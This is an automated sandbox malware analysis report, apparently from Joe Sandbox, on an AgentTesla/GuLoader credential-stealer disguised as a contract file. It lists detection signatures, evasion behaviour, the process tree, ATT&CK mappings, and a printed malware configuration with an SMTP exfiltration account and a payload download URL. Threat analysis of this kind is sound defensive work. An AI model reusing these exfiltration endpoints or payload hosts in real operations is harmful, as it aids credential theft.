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of 1500W.exe
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Time: 03:25:16
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Version: 33.0.0 White Diamond
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Windows Analysis Report Contract and PI of 1500W.exe

Overview

General Information

Sample 
Name:

Contract and PI of 
1500W.exe

Analysis ID: 1651

MD5: dbceab5b0f79168…

SHA1: c5c25d75233ea8…

SHA256: 7d6174dce4980e…

Infos:

Most interesting Screenshot:

Detection

AgentTesla GuLoaderAgentTesla GuLoader

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

Potential malicious icon found

Potential malicious icon found

Potential malicious icon found

Potential malicious icon found

Potential malicious icon found

Potential malicious icon found

Potential malicious icon foundPotential malicious icon found

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTeslaYara detected AgentTesla

Sigma detected: RegAsm connects 

Sigma detected: RegAsm connects 

Sigma detected: RegAsm connects 

Sigma detected: RegAsm connects 

Sigma detected: RegAsm connects 

Sigma detected: RegAsm connects 

Sigma detected: RegAsm connects Sigma detected: RegAsm connects ……

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoaderYara detected GuLoader

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggersHides threads from debuggers

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regionsWrites to foreign memory regions

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / WiTries to harvest and steal Putty / Wi……

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.runTries to detect Any.run

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login cTries to harvest and steal ftp login c……

Modifies the hosts file

Modifies the hosts file

Modifies the hosts file

Modifies the hosts file

Modifies the hosts file

Modifies the hosts file

Modifies the hosts fileModifies the hosts file

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dowHides that the sample has been dow……

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via filTries to steal Mail credentials (via fil……

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter inQueries sensitive network adapter in……

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser inTries to harvest and steal browser in……

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information Queries sensitive BIOS Information ……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential StealerYara detected Credential Stealer

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in coJA3 SSL client fingerprint seen in co……

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / UsFound a high number of Window / Us……

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likelyFound inlined nop instructions (likely……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resourcesPE file contains strange resources

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLsTries to load missing DLLs

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user ageUses a known web browser user age……

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on nonDetected TCP or UDP traffic on non……

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)Uses SMTP (mail sending)

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informaQueries sensitive processor informa……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64native

Contract and PI of 1500W.exe (PID: 1404 cmdline: 'C:\Users\user\Desktop\Contract and PI of 1500W.exe'  MD5: DBCEAB5B0F79168FFEA64F16BF7F1263)

RegAsm.exe (PID: 1388 cmdline: 'C:\Users\user\Desktop\Contract and PI of 1500W.exe'  MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 4448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

DnDcR.exe (PID: 1740 cmdline: 'C:\Users\user\AppData\Roaming\DnDcR\DnDcR.exe'  MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 2904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

DnDcR.exe (PID: 6460 cmdline: 'C:\Users\user\AppData\Roaming\DnDcR\DnDcR.exe'  MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 6440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

{
  "Exfil Mode": "SMTP",
  "SMTP Info": "hemant@friendsequipment.com2018@hemantmail.friendsequipment.com"
}

{
  "Payload URL": "https://drive.google.com/uc?export=downl"
}

Source Rule Description Author Strings

00000002.00000002.278281355079.000000000
22A0000.00000040.00000001.sdmp

JoeSecurity_GuLoader_2 Yara detected 
GuLoader

Joe Security

Process Tree

Malware Configuration

Threatname: Agenttesla

Threatname: GuLoader

Yara Overview

Memory Dumps

Copyright Joe Security LLC 2021 Page 4 of 40



Sigma Overview

Networking:

Sigma detected: RegAsm connects to smtp port

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

C2 URLs / IPs found in malware configuration

Spam, unwanted Advertisements and Ransom Demands:

Modifies the hosts file

System Summary:

Potential malicious icon found

Data Obfuscation:

Yara detected GuLoader

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Malware Analysis System Evasion:

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

00000009.00000002.282790628196.000000001
DE51000.00000004.00000001.sdmp

JoeSecurity_AgentTesla_1 Yara detected 
AgentTesla

Joe Security

00000009.00000002.282790628196.000000001
DE51000.00000004.00000001.sdmp

JoeSecurity_CredentialSte
aler

Yara detected 
Credential Stealer

Joe Security

Process Memory Space: RegAsm.exe PID: 1388 JoeSecurity_AgentTesla_1 Yara detected 
AgentTesla

Joe Security

Process Memory Space: RegAsm.exe PID: 1388 JoeSecurity_CredentialSte
aler

Yara detected 
Credential Stealer

Joe Security

Source Rule Description Author Strings

Copyright Joe Security LLC 2021 Page 5 of 40



Anti Debugging:

Hides threads from debuggers

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Modifies the hosts file

Lowering of HIPS / PFW / Operating System Security Settings:

Modifies the hosts file

Stealing of Sensitive Information:

Yara detected AgentTesla

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality:

Yara detected AgentTesla

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command and
Control

Valid
Accounts

Windows Management
Instrumentation 2 1 1

DLL Side-
Loading 1

DLL Side-
Loading 1

File and Directory
Permissions
Modification 1

OS
Credential
Dumping 2

File and Directory
Discovery 1

Remote
Services

Archive
Collected
Data 1

Exfiltration
Over Other
Network
Medium

Ingress Tool
Transfer 1

Default
Accounts

Scheduled Task/Job Registry
Run Keys /
Startup
Folder 1

Process
Injection 1 1 2

Disable or Modify
Tools 1

Credentials
in
Registry 1

System Information
Discovery 1 1 5

Remote
Desktop
Protocol

Data from
Local
System 2

Exfiltration
Over
Bluetooth

Encrypted
Channel 2 1

Domain
Accounts

At (Linux) Logon Script
(Windows)

Registry Run
Keys / Startup
Folder 1

Deobfuscate/Decode
Files or Information 1

Security
Account
Manager

Security Software
Discovery 4 2 1

SMB/Windows
Admin Shares

Email
Collection 1

Automated
Exfiltration

Non-Standard
Port 1

Local
Accounts

At (Windows) Logon Script
(Mac)

Logon Script
(Mac)

Obfuscated Files or
Information 3

NTDS Process Discovery 2 Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Non-Application
Layer Protocol

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

DLL Side-Loading 1 LSA
Secrets

Virtualization/Sandbox
Evasion 3 4 1

SSH Keylogging Data
Transfer
Size Limits

Application Layer
Protocol 1 2

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Masquerading 1 Cached
Domain
Credentials

Application Window
Discovery 1

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

External
Remote
Services

Scheduled Task Startup
Items

Startup Items Virtualization/Sandbox
Evasion 3 4 1

DCSync Network Sniffing Windows
Remote
Management

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly Used
Port

Drive-by
Compromise

Command and Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Process
Injection 1 1 2

Proc
Filesystem

Network Service
Scanning

Shared
Webroot

Credential
API Hooking

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Application Layer
Protocol
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Exploit
Public-
Facing
Application

PowerShell At (Linux) At (Linux) Hidden Files and
Directories 1

/etc/passwd
and
/etc/shadow

System Network
Connections
Discovery

Software
Deployment
Tools

Data Staged Exfiltration
Over
Asymmetric
Encrypted
Non-C2
Protocol

Web Protocols

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command and
Control

Behavior Graph

ID: 1651

Sample: Contract and PI of 1500W.exe

Startdate: 14/10/2021

Architecture: WINDOWS

Score: 100

mail.friendsequipment.com friendsequipment.com 3 other IPs or domains

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Potential malicious
icon found Found malware configuration 5 other signatures

Contract and PI of 1500W.exe

        started       

DnDcR.exe

2

        started       

DnDcR.exe

1

        started       

Writes to foreign memory
regions Tries to detect Any.run Hides threads from debuggers

RegAsm.exe

2 11

        started       

conhost.exe

        started       

conhost.exe

        started       

friendsequipment.com

65.60.11.90, 49818, 587

SINGLEHOP-LLCUS

United States

googlehosted.l.googleusercontent.com

142.250.184.193, 443, 49811

GOOGLEUS

United States

drive.google.com

172.217.168.46, 443, 49810

GOOGLEUS

United States

C:\Users\user\AppData\Roaming\...\DnDcR.exe, PE32

dropped

C:\Windows\System32\drivers\etc\hosts, ASCII

dropped

Tries to harvest and
steal Putty / WinSCP

information (sessions,
passwords, etc)

Queries sensitive network
adapter information

(via WMI, Win32_NetworkAdapter,
often done to detect

virtual machines)

Tries to steal Mail
credentials (via file

access)
7 other signatures

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots
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No Antivirus matches

Source Detection Scanner Label Link

C:\Users\user\AppData\Roaming\DnDcR\DnDcR.exe 0% Metadefender Browse

C:\Users\user\AppData\Roaming\DnDcR\DnDcR.exe 0% ReversingLabs

No Antivirus matches

Source Detection Scanner Label Link

friendsequipment.com 0% Virustotal Browse

Source Detection Scanner Label Link

127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe

DynDns.comDynDNS 0% Avira URL Cloud safe

https://TDIvwVTMK1.org 0% Avira URL Cloud safe

VpGUaC.com 0% Avira URL Cloud safe

https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-
0.4.3.6.zip%tordir%%ha

0% Avira URL Cloud safe

https://api.ipify.org%4 0% Avira URL Cloud safe

mail.friendsequipment.com 0% Avira URL Cloud safe

www.microsoft.co 0% Avira URL Cloud safe

https://api.ipify.org%GETMozilla/5.0 0% Avira URL Cloud safe

friendsequipment.com 0% Avira URL Cloud safe

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Copyright Joe Security LLC 2021 Page 8 of 40
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General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 1651

Start date: 14.10.2021

Start time: 03:25:16

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 13m 5s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Contract and PI of 1500W.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe 
Reader DC 21, Java 8 Update 301

Run name: Suspected Instruction Hammering

Number of analysed new started processes 
analysed:

25

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Name IP Active Malicious Antivirus Detection Reputation

friendsequipment.com 65.60.11.90 true true 0%, Virustotal, Browse unknown

drive.google.com 172.217.168.46 true false high

googlehosted.l.googleusercontent.com 142.250.184.193 true false high

mail.friendsequipment.com unknown unknown true unknown

doc-10-4k-docs.googleusercontent.com unknown unknown false high

Name Malicious Antivirus Detection Reputation

https://doc-10-4k-
docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/7ovq1830ci
2vfc1r9jg3dm4bs2m26dfl/1634174850000/08714151441044389622/*/1iHaEbeRZQsul94yNukP
5elwMyJtohxrw?e=download

false high

IP Domain Country Flag ASN ASN Name Malicious

172.217.168.46 drive.google.com United States 15169 GOOGLEUS false

65.60.11.90 friendsequipment.com United States 32475 SINGLEHOP-LLCUS true

142.250.184.193 googlehosted.l.googleuser
content.com

United States 15169 GOOGLEUS false

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public
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https://www.virustotal.com/gui/url/b8059ee68d88d014b76e5e6e7b567aef30dd055a094e6c75408a62676f6c46d5/detection/u-b8059ee68d88d014b76e5e6e7b567aef30dd055a094e6c75408a62676f6c46d5-1540921622


Classification: mal100.rans.spre.troj.adwa.spyw.evad.winEXE@8/6@3/3

EGA Information: Failed

HDC Information: Failed

HCA Information: Successful, ratio: 97%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

Time Type Description

03:28:12 API Interceptor 2732x Sleep call for process: RegAsm.exe modified

03:28:24 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run DnDcR C:\Users\user\AppData\Roamin
g\DnDcR\DnDcR.exe

03:28:33 Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run DnDcR C:\Users\user\AppData\Roam
ing\DnDcR\DnDcR.exe

Match Associated Sample Name / URL SHA 256 Detection Link Context

65.60.11.90 Statement of Account.exe Get hash malicious Browse

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

SINGLEHOP-LLCUS hoho.arm7 Get hash malicious Browse 65.62.12.148

SmL4Y6Rq1W Get hash malicious Browse 65.60.30.44

Statement of Account.exe Get hash malicious Browse 65.60.11.90

J2roaMGDmh.exe Get hash malicious Browse 107.6.155.186

sSQ2BB4tyb Get hash malicious Browse 108.163.21
4.223

aUXe29TOLB Get hash malicious Browse 199.26.226.95

ASKRJ389.vbs Get hash malicious Browse 184.154.116.14

DKWFO7791.vbs Get hash malicious Browse 184.154.116.14

PO#006599.pdf.exe Get hash malicious Browse 96.127.186.30

PO#006566.pdf.exe Get hash malicious Browse 96.127.186.30

FX8w3rI5cw Get hash malicious Browse 199.26.251.39

stage2.dll Get hash malicious Browse 184.154.46.111

sora.arm7 Get hash malicious Browse 184.154.18
3.242

tsunami.x86 Get hash malicious Browse 65.62.116.34

Unlocker1.9.2.exe Get hash malicious Browse 198.143.175.67

DeltaTB.exe Get hash malicious Browse 198.143.175.67

arm Get hash malicious Browse 181.224.14
3.199

sora.arm7 Get hash malicious Browse 65.60.30.13

0HXxUcP5S4 Get hash malicious Browse 198.20.85.242

LAKmNB72J8 Get hash malicious Browse 107.6.134.203

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN
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https://view.joesandbox.com/analysis/394604/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394604/html/none?idtype=webid
https://view.joesandbox.com/analysis/394993/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394993/html/none?idtype=webid
https://view.joesandbox.com/analysis/394966/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394966/html/none?idtype=webid
https://view.joesandbox.com/analysis/394604/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394604/html/none?idtype=webid
https://view.joesandbox.com/analysis/394512/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394512/html/none?idtype=webid
https://view.joesandbox.com/analysis/393594/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393594/html/none?idtype=webid
https://view.joesandbox.com/analysis/393125/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393125/html/none?idtype=webid
https://view.joesandbox.com/analysis/392781/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392781/html/none?idtype=webid
https://view.joesandbox.com/analysis/391789/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391789/html/none?idtype=webid
https://view.joesandbox.com/analysis/391660/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391660/html/none?idtype=webid
https://view.joesandbox.com/analysis/390141/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390141/html/none?idtype=webid
https://view.joesandbox.com/analysis/390088/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390088/html/none?idtype=webid
https://view.joesandbox.com/analysis/388782/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388782/html/none?idtype=webid
https://view.joesandbox.com/analysis/388501/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388501/html/none?idtype=webid
https://view.joesandbox.com/analysis/388076/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388076/html/none?idtype=webid
https://view.joesandbox.com/analysis/388060/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388060/html/none?idtype=webid
https://view.joesandbox.com/analysis/388047/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388047/html/none?idtype=webid
https://view.joesandbox.com/analysis/387366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387366/html/none?idtype=webid
https://view.joesandbox.com/analysis/385660/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385660/html/none?idtype=webid
https://view.joesandbox.com/analysis/385497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385497/html/none?idtype=webid
https://view.joesandbox.com/analysis/385297/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385297/html/none?idtype=webid


Match Associated Sample Name / URL SHA 256 Detection Link Context

37f463bf4616ecd445d4a1937da06e19 WireAdviceCopy.html Get hash malicious Browse 172.217.168.46
142.250.18
4.193

Wire_Confirmation-Copy.html Get hash malicious Browse 172.217.168.46
142.250.18
4.193

#Ud83d#Udcde-youse.guia-644-46204-282109.htm Get hash malicious Browse 172.217.168.46
142.250.18
4.193

zq8o6y1z60.dll Get hash malicious Browse 172.217.168.46
142.250.18
4.193

Original  Shipment Doc Ref 2853801324189923,PDF.exe Get hash malicious Browse 172.217.168.46
142.250.18
4.193

Gsdqz.dll Get hash malicious Browse 172.217.168.46
142.250.18
4.193

HUTWMrDhov.dll Get hash malicious Browse 172.217.168.46
142.250.18
4.193

0q3K4qJqQT.exe Get hash malicious Browse 172.217.168.46
142.250.18
4.193

PEDIDO.exe Get hash malicious Browse 172.217.168.46
142.250.18
4.193

SecuriteInfo.com.Ransom.Stop.Z5.27157.exe Get hash malicious Browse 172.217.168.46
142.250.18
4.193

Jrsuarez-62643-5799-80-950985.HTM Get hash malicious Browse 172.217.168.46
142.250.18
4.193

Jrsuarez-62643-5799-80-950985.HTM Get hash malicious Browse 172.217.168.46
142.250.18
4.193

ZAM#U00d3WIENIE.exe Get hash malicious Browse 172.217.168.46
142.250.18
4.193

Jrsuarez-62643-5799-80-950985.HTM Get hash malicious Browse 172.217.168.46
142.250.18
4.193

Jrsuarez-62643-5799-80-950985.HTM Get hash malicious Browse 172.217.168.46
142.250.18
4.193

UZlg2Sq2pQ.exe Get hash malicious Browse 172.217.168.46
142.250.18
4.193

DOC 13102021.exe Get hash malicious Browse 172.217.168.46
142.250.18
4.193

Halkbank_Ekstre_20211310_082357_541079.exe Get hash malicious Browse 172.217.168.46
142.250.18
4.193

ATT10821.html Get hash malicious Browse 172.217.168.46
142.250.18
4.193

Delivery note_241493.exe Get hash malicious Browse 172.217.168.46
142.250.18
4.193

Match Associated Sample Name / URL SHA 256 Detection Link Context

C:\Users\user\AppData\Roaming\DnDcR
\DnDcR.exe

DOC 13102021.exe Get hash malicious Browse

Statement of Account.exe Get hash malicious Browse

correction HAWB.exe Get hash malicious Browse

DOC 10132021.exe Get hash malicious Browse

WIRE ADVICE.exe Get hash malicious Browse

Foreign_Bank Account Details.exe Get hash malicious Browse

SOA.exe Get hash malicious Browse

SecuriteInfo.com.Variant.Razy.961905.21681.exe Get hash malicious Browse

Swift USD 9300.exe Get hash malicious Browse

JA3 Fingerprints

Dropped Files
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https://view.joesandbox.com/analysis/394996/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394996/html/none?idtype=webid
https://view.joesandbox.com/analysis/394992/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394992/html/none?idtype=webid
https://view.joesandbox.com/analysis/394989/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394989/html/none?idtype=webid
https://view.joesandbox.com/analysis/394899/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394899/html/none?idtype=webid
https://view.joesandbox.com/analysis/394869/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394869/html/none?idtype=webid
https://view.joesandbox.com/analysis/394853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394853/html/none?idtype=webid
https://view.joesandbox.com/analysis/394842/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394842/html/none?idtype=webid
https://view.joesandbox.com/analysis/394821/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394821/html/none?idtype=webid
https://view.joesandbox.com/analysis/394819/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394819/html/none?idtype=webid
https://view.joesandbox.com/analysis/394812/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394812/html/none?idtype=webid
https://view.joesandbox.com/analysis/394749/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394749/html/none?idtype=webid
https://view.joesandbox.com/analysis/394748/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394748/html/none?idtype=webid
https://view.joesandbox.com/analysis/394747/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394747/html/none?idtype=webid
https://view.joesandbox.com/analysis/394746/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394746/html/none?idtype=webid
https://view.joesandbox.com/analysis/394744/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394744/html/none?idtype=webid
https://view.joesandbox.com/analysis/394742/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394742/html/none?idtype=webid
https://view.joesandbox.com/analysis/394701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394701/html/none?idtype=webid
https://view.joesandbox.com/analysis/394694/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394694/html/none?idtype=webid
https://view.joesandbox.com/analysis/394688/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394688/html/none?idtype=webid
